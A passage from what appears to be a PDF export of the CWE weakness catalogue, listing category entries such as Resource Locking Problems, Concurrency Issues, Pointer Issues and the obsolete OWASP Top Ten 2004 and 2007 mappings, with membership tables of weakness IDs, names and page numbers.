HasMember	B	771	Missing Reference to Active Allocated Resource	699	1430
HasMember	B	772	Missing Release of Resource after Effective Lifetime	699	1432
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1525
HasMember	B	908	Use of Uninitialized Resource	699	1578
HasMember	B	909	Missing Initialization of Resource	699	1581
HasMember	B	910	Use of Expired File Descriptor	699	1584
HasMember	B	911	Improper Update of Reference Count	699	1585
HasMember	B	914	Improper Control of Dynamically-Identified Variables	699	1589
HasMember	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	699	1591
HasMember	B	920	Improper Restriction of Power Consumption	699	1601
HasMember	B	1188	Insecure Default Initialization of Resource	699	1725

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Management Errors

Category-411: Resource Locking Problems

Category ID : 411 **Status:** Draft

Summary

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	412	Unrestricted Externally Accessible Lock	699	893
HasMember	B	413	Improper Resource Locking	699	896
HasMember	B	414	Missing Lock Check	699	900
HasMember	B	609	Double-Checked Locking	699	1211
HasMember	B	764	Multiple Locks of a Critical Resource	699	1413
HasMember	B	765	Multiple Unlocks of a Critical Resource	699	1414
HasMember	B	832	Unlock of a Resource that is not Locked	699	1542
HasMember	B	833	Deadlock	699	1543

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Locking problems

Category-417: Communication Channel Errors

Category ID : 417 **Status:** Draft

Summary

Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	322	Key Exchange without Entity Authentication	699	711
HasMember	B	346	Origin Validation Error	699	760
HasMember	B	385	Covert Timing Channel	699	842
HasMember	B	419	Unprotected Primary Channel	699	908
HasMember	B	420	Unprotected Alternate Channel	699	909
HasMember	B	425	Direct Request ('Forced Browsing')	699	915
HasMember	B	515	Covert Storage Channel	699	1087
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1606
HasMember	B	940	Improper Verification of Source of a Communication Channel	699	1617
HasMember	B	941	Incorrectly Specified Destination in a Communication Channel	699	1619

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CHAP.VIRTFILE		Channel and Path Errors

Notes

Research Gap

Most of these issues are probably under-studied. Only a handful of public reports exist.

Category-429: Handler Errors

Category ID : 429 **Status:** Draft

Summary

Weaknesses in this category are related to improper management of handlers.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	430	Deployment of Wrong Handler	699	929
HasMember	B	431	Missing Handler	699	931
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	932
HasMember	V	433	Unparsed Raw Web Content Delivery	699	933
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	699	935
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	699	1021

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Handler Errors

Notes

Research Gap

This concept is under-defined and needs more research.

Category-438: Behavioral Problems

Category ID : 438 **Status:** Draft

Summary

Weaknesses in this category are related to unexpected behaviors from code that an application uses.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	115	Misinterpretation of Input	699	259
HasMember	B	179	Incorrect Behavior Order: Early Validation	699	414
HasMember	B	408	Incorrect Behavior Order: Early Amplification	699	888
HasMember	B	437	Incomplete Model of Endpoint Features	699	946
HasMember	B	439	Behavioral Change in New Version or Environment	699	947
HasMember	B	440	Expected Behavior Violation	699	949
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	699	952
HasMember	B	480	Use of Incorrect Operator	699	1023
HasMember	B	483	Incorrect Block Delimitation	699	1032
HasMember	B	484	Omitted Break Statement in Switch	699	1034
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	699	1124
HasMember	B	698	Execution After Redirect (EAR)	699	1353
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	699	1375
HasMember	B	783	Operator Precedence Logic Error	699	1453
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	699	1546
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1550
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1559
HasMember	B	1025	Comparison Using Wrong Factors	699	1638
HasMember	B	1037	Processor Optimization Removal or Modification of Security-critical Code	699	1639

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Behavioral problems

Category-452: Initialization and Cleanup Errors

Category ID : 452 **Status:** Draft

Summary

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	699	517
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	699	967
HasMember	B	455	Non-exit on Failed Initialization	699	969
HasMember	B	459	Incomplete Cleanup	699	978
HasMember	B	460	Improper Cleanup on Thrown Exception	699	981
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	699	1653
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization	699	1654
HasMember	B	1188	Insecure Default Initialization of Resource	699	1725

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Initialization and Cleanup Errors

Category-465: Pointer Issues

Category ID : 465 **Status:** Draft

Summary

Weaknesses in this category are related to improper handling of pointers.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	466	Return of Pointer Value Outside of Expected Range	699	988
HasMember	V	467	Use of sizeof() on a Pointer Type	699	989
HasMember	B	468	Incorrect Pointer Scaling	699	992
HasMember	B	469	Use of Pointer Subtraction to Determine Size	699	994
HasMember	B	476	NULL Pointer Dereference	699	1009
HasMember	B	587	Assignment of a Fixed Address to a Pointer	699	1175
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	699	1177
HasMember	B	763	Release of Invalid Pointer or Reference	699	1408
HasMember	B	822	Untrusted Pointer Dereference	699	1515
HasMember	B	823	Use of Out-of-range Pointer Offset	699	1518
HasMember	B	824	Access of Uninitialized Pointer	699	1520
HasMember	B	825	Expired Pointer Dereference	699	1523

Category-485: 7PK - Encapsulation

Category ID : 485 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate

critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
HasMember	V	486	Comparison of Classes by Name	700	1036
HasMember	B	488	Exposure of Data Element to Wrong Session	700	1040
HasMember	B	489	Active Debug Code	700	1042
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	700	1044
HasMember	V	492	Use of Inner Class Containing Sensitive Data	700	1046
HasMember	V	493	Critical Public Variable Without Final Modifier	700	1053
HasMember	V	495	Private Data Structure Returned From A Public Method	700	1059
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	700	1061
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	700	1062
HasMember	B	501	Trust Boundary Violation	700	1071

Notes

Other

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-557: Concurrency Issues

Category ID : 557 **Status:** Draft

Summary

Weaknesses in this category are related to concurrent use of shared resources.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	363	Race Condition Enabling Link Following	699	801
HasMember	B	364	Signal Handler Race Condition	699	802
HasMember	B	365	Race Condition in Switch	699	807
HasMember	B	366	Race Condition within a Thread	699	809
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	699	812

Nature	Type	ID	Name	V	Page
HasMember	B	368	Context Switching Race Condition	699	816
HasMember	B	386	Symbolic Name not Mapping to Correct Object	699	844
HasMember	B	421	Race Condition During Access to Alternate Channel	699	911
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	699	1144
HasMember	B	585	Empty Synchronized Block	699	1172
HasMember	B	663	Use of a Non-reentrant Function in a Concurrent Context	699	1290
HasMember	B	820	Missing Synchronization	699	1512
HasMember	B	821	Incorrect Synchronization	699	1514
HasMember	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	699	1660
HasMember	B	1088	Synchronous Access of Remote Resource without Timeout	699	1688

Category-569: Expression Issues

Category ID : 569 **Status:** Draft

Summary

Weaknesses in this category are related to incorrectly written expressions within code.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	480	Use of Incorrect Operator	699	1023
HasMember	B	570	Expression is Always False	699	1147
HasMember	B	571	Expression is Always True	699	1150
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	699	1177
HasMember	V	595	Comparison of Object References Instead of Object Contents	699	1187
HasMember	B	783	Operator Precedence Logic Error	699	1453

Category-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

Category ID : 712 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	629	152

References

[REF-572]OWASP. "Top 10 2007-Cross Site Scripting". 2007. < http://www.owasp.org/index.php/Top_10_2007-A1 >.

Category-713: OWASP Top Ten 2007 Category A2 - Injection Flaws

Category ID : 713 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	629	136
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	629	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	629	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	629	200
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	629	202

Category-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution

Category ID : 714 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	629	141
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	629	209
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	629	217
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	629	935

Category-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference

Category ID : 715 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	629	31
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	629	1001
HasMember	B	639	Authorization Bypass Through User-Controlled Key	629	1251

References

[REF-528]OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < http://www.owasp.org/index.php/Top_10_2007-A4 >.

Category-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)

Category ID : 716 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember		352	Cross-Site Request Forgery (CSRF)	629	773

References

[REF-574]OWASP. "Top 10 2007-Cross Site Request Forgery". 2007. < http://www.owasp.org/index.php/Top_10_2007-A5 >.

Category-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling

Category ID : 717 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	629	466
HasMember	B	203	Observable Discrepancy	629	478
HasMember	B	209	Generation of Error Message Containing Sensitive Information	629	490
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	629	507

References

[REF-575]OWASP. "Top 10 2007-Information Leakage and Improper Error Handling". 2007. < http://www.owasp.org/index.php/Top_10_2007-A6 >.

Category-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Category ID : 718 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	287	Improper Authentication	629	630
HasMember	V	301	Reflection Attack in an Authentication Protocol	629	666
HasMember	C	522	Insufficiently Protected Credentials	629	1091

References

[REF-237]OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < http://www.owasp.org/index.php/Top_10_2007-A7 >.

Category-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage

Category ID : 719 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	311	Missing Encryption of Sensitive Data	629	686
HasMember	V	321	Use of Hard-coded Cryptographic Key	629	709
HasMember	B	325	Missing Required Cryptographic Step	629	717
HasMember	C	326	Inadequate Encryption Strength	629	718

References

[REF-577]OWASP. "Top 10 2007-Insecure Cryptographic Storage". 2007. < http://www.owasp.org/index.php/Top_10_2007-A8 >.

Category-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

Category ID : 720 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	311	Missing Encryption of Sensitive Data	629	686
HasMember	V	321	Use of Hard-coded Cryptographic Key	629	709
HasMember	B	325	Missing Required Cryptographic Step	629	717
HasMember	C	326	Inadequate Encryption Strength	629	718

References

[REF-271]OWASP. "Top 10 2007-Insecure Communications". 2007. < http://www.owasp.org/index.php/Top_10_2007-A9 >.

Category-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access

Category ID : 721 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2020
HasMember	C	285	Improper Authorization	629	623
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	629	636
HasMember	B	425	Direct Request ('Forced Browsing')	629	915

References

[REF-580]OWASP. "Top 10 2007-Failure to Restrict URL Access". 2007. < http://www.owasp.org/index.php/Top_10_2007-A10 >.

Category-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input

Category ID : 722 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	C	20	Improper Input Validation	711	19
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	136
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	187
HasMember	V	102	Struts: Duplicate Validation Forms	711	227

Nature	Type	ID	Name	V	Page
HasMember	V	103	Struts: Incomplete validate() Method Definition	711	229
HasMember	V	104	Struts: Form Bean Does Not Extend Validation Class	711	231
HasMember	V	106	Struts: Plug-in Framework not in Use	711	237
HasMember	V	109	Struts: Validator Turned Off	711	243
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	280
HasMember	B	166	Improper Handling of Missing Special Element	711	390
HasMember	B	167	Improper Handling of Additional Special Element	711	392
HasMember	B	179	Incorrect Behavior Order: Early Validation	711	414
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	711	417
HasMember	V	181	Incorrect Behavior Order: Validate Before Filter	711	420
HasMember	B	182	Collapse of Data into Unsafe Value	711	422
HasMember	B	183	Permissive List of Allowed Inputs	711	424
HasMember	B	425	Direct Request ('Forced Browsing')	711	915
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	711	1001
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	711	1195
HasMember	B	602	Client-Side Enforcement of Server-Side Security	711	1200

References

[REF-581]OWASP. "A1 Unvalidated Input". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-723: OWASP Top Ten 2004 Category A2 - Broken Access Control

Category ID : 723 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	711	7
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	711	31
HasMember	B	41	Improper Resolution of Path Equivalence	711	81
HasMember	B	73	External Control of File Name or Path	711	125
HasMember	B	266	Incorrect Privilege Assignment	711	580
HasMember	B	268	Privilege Chaining	711	586
HasMember	C	275	Permission Issues	711	1857
HasMember	B	283	Unverified Ownership	711	618
HasMember	P	284	Improper Access Control	711	619
HasMember	C	285	Improper Authorization	711	623
HasMember	C	330	Use of Insufficiently Random Values	711	730
HasMember	B	425	Direct Request ('Forced Browsing')	711	915
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	711	1097

Nature	Type	ID	Name	V	Page
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	711	1124
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	1129
HasMember	B	639	Authorization Bypass Through User-Controlled Key	711	1251
HasMember	B	708	Incorrect Ownership Assignment	711	1363

References

[REF-582]OWASP. "A2 Broken Access Control". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

Category ID : 724 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	C	255	Credentials Management Errors	711	1855
HasMember	V	259	Use of Hard-coded Password	711	569
HasMember	C	287	Improper Authentication	711	630
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	711	653
HasMember	V	298	Improper Validation of Certificate Expiration	711	659
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	711	668
HasMember	B	304	Missing Critical Step in Authentication	711	671
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	711	678
HasMember	B	309	Use of Password System for Primary Authentication	711	684
HasMember	C	345	Insufficient Verification of Data Authenticity	711	758
HasMember	A	384	Session Fixation	711	839
HasMember	B	521	Weak Password Requirements	711	1089
HasMember	C	522	Insufficiently Protected Credentials	711	1091
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	711	1097
HasMember	B	613	Insufficient Session Expiration	711	1219
HasMember	B	620	Unverified Password Change	711	1229
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	711	1253
HasMember	B	798	Use of Hard-coded Credentials	711	1486

References

[REF-583]OWASP. "A3 Broken Authentication and Session Management". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws

Category ID : 725 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	152
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	711	1265

References

[REF-584]OWASP. "A4 Cross-Site Scripting (XSS) Flaws". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows

Category ID : 726 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	711	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	280
HasMember	B	134	Use of Externally-Controlled Format String	711	334

References

[REF-585]OWASP. "A5 Buffer Overflows". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-727: OWASP Top Ten 2004 Category A6 - Injection Flaws

Category ID : 727 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029

Nature	Type	ID	Name	V	Page
HasMember	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	711	130
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	136
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	711	141
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	187
HasMember	B	91	XML Injection (aka Blind XPath Injection)	711	200
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	711	209
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	711	217
HasMember	B	117	Improper Output Neutralization for Logs	711	266

References

[REF-586]OWASP. "A6 Injection Flaws". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling

Category ID : 728 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	711	4
HasMember	B	203	Observable Discrepancy	711	478
HasMember	B	209	Generation of Error Message Containing Sensitive Information	711	490
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	711	519
HasMember	B	252	Unchecked Return Value	711	553
HasMember	C	389	Error Conditions, Return Values, Status Codes	711	1863
HasMember	B	390	Detection of Error Condition Without Action	711	845
HasMember	B	391	Unchecked Error Condition	711	850
HasMember	B	394	Unexpected Status Code or Return Value	711	856
HasMember	C	636	Not Failing Securely ('Failing Open')	711	1245

References

[REF-587]OWASP. "A7 Improper Error Handling". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-729: OWASP Top Ten 2004 Category A8 - Insecure Storage

Category ID : 729 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	V	14	Compiler Removal of Code to Clear Buffers	711	14
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	711	517
HasMember	B	261	Weak Encoding for Password	711	575
HasMember	C	311	Missing Encryption of Sensitive Data	711	686
HasMember	V	321	Use of Hard-coded Cryptographic Key	711	709
HasMember	C	326	Inadequate Encryption Strength	711	718
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	711	720
HasMember	V	539	Use of Persistent Cookies Containing Sensitive Information	711	1112
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	711	1182
HasMember	V	598	Use of GET Request Method With Sensitive Query Strings	711	1191

References

[REF-588]OWASP. "A8 Insecure Storage". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service

Category ID : 730 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	B	170	Improper Null Termination	711	395
HasMember	B	248	Uncaught Exception	711	545
HasMember	B	369	Divide By Zero	711	818
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	711	836
HasMember	C	400	Uncontrolled Resource Consumption	711	864
HasMember	V	401	Missing Release of Memory after Effective Lifetime	711	872
HasMember	C	404	Improper Resource Shutdown or Release	711	877
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	711	883
HasMember	B	410	Insufficient Resource Pool	711	891
HasMember	B	412	Unrestricted Externally Accessible Lock	711	893
HasMember	B	476	NULL Pointer Dereference	711	1009
HasMember	C	674	Uncontrolled Recursion	711	1314

References

[REF-590]OWASP. "A9 Denial of Service". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management

Category ID : 731 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2029
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	711	1
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	711	2
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	711	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	711	6
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	711	7
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	711	9
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	711	11
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	711	12
HasMember	B	209	Generation of Error Message Containing Sensitive Information	711	490
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	711	507
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	711	509
HasMember	C	275	Permission Issues	711	1857
HasMember	B	295	Improper Certificate Validation	711	648
HasMember	B	459	Incomplete Cleanup	711	978
HasMember	B	489	Active Debug Code	711	1042
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	711	1088
HasMember	V	526	Exposure of Sensitive Information Through Environmental Variables	711	1099
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	711	1099
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	711	1100
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	711	1101
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	711	1102
HasMember	V	531	Inclusion of Sensitive Information in Test Code	711	1103
HasMember	B	532	Insertion of Sensitive Information into Log File	711	1104
HasMember	B	540	Inclusion of Sensitive Information in Source Code	711	1113
HasMember	V	541	Inclusion of Sensitive Information in an Include File	711	1114
HasMember	V	548	Exposure of Information Through Directory Listing	711	1121
HasMember	B	552	Files or Directories Accessible to External Parties	711	1125
HasMember	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	711	1127
HasMember	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	711	1128

Nature	Type	ID	Name	V	Page
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	1129

References

[REF-591]OWASP. "A10 Insecure Configuration Management". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)

Category ID : 735 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	684	Incorrect Provision of Specified Functionality	734	1332

Notes

Relationship

